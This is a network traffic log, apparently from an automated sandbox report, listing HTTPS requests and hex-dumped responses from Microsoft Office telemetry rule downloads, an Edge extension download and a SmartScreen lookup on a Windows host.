2024-11-17 21:20:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7fkz9l7hC1DFW35uc00000001vg00000000hq9d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:46 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	60839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7fd4rc5hC1DFWkzhw000000053g00000000ftkh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:46 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	60840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-1866b5c5fbbxjblthC1DFW6b4800000002u0000000009ze0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	60845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7fpdsp9hC1DFW8f5000000002cg00000000gmv1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:46 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	60848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-1866b5c5fbbkcpv2hC1DFWf1yc00000004v000000000gx4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	60846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7ftnm6xhC1DFW9c8c00000004k0000000000rq8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	60849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7ff9zf4hC1DFW2pfc00000002fg0000000070ph x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	60847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-164f84587bfdl84ghC1DFWbbhc00000004z000000000kvgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	60851	152.195.19.97	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732483243&P2=404&P3=2&P4=RbUBOL3%2bjy8tJw1DlrFdeUoM8CvuNG3YJHRa7ERwbZeFUrvslBLhEmjGQB2lx8UHfTKE3T%2bsvXjDZrnM0tTP9Q%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: NjsdqLbrXU4zZ7ENyYhntp Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 21:20:47 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11804978 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 17 Nov 2024 21:20:47 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-17 21:20:47 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	60852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-16547b76f7ftfv4jhC1DFWuhug00000002bg00000000pbuc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	60853	65.52.241.40	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoicUR4QVAxOUZCMGU0b1lPdmJyUjJ4QT09IiwgImhhc2giOiI3bENVRHNEZGNYVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 21:20:47 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 21:20:47 UTC	248	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-17 21:20:47 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	60855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
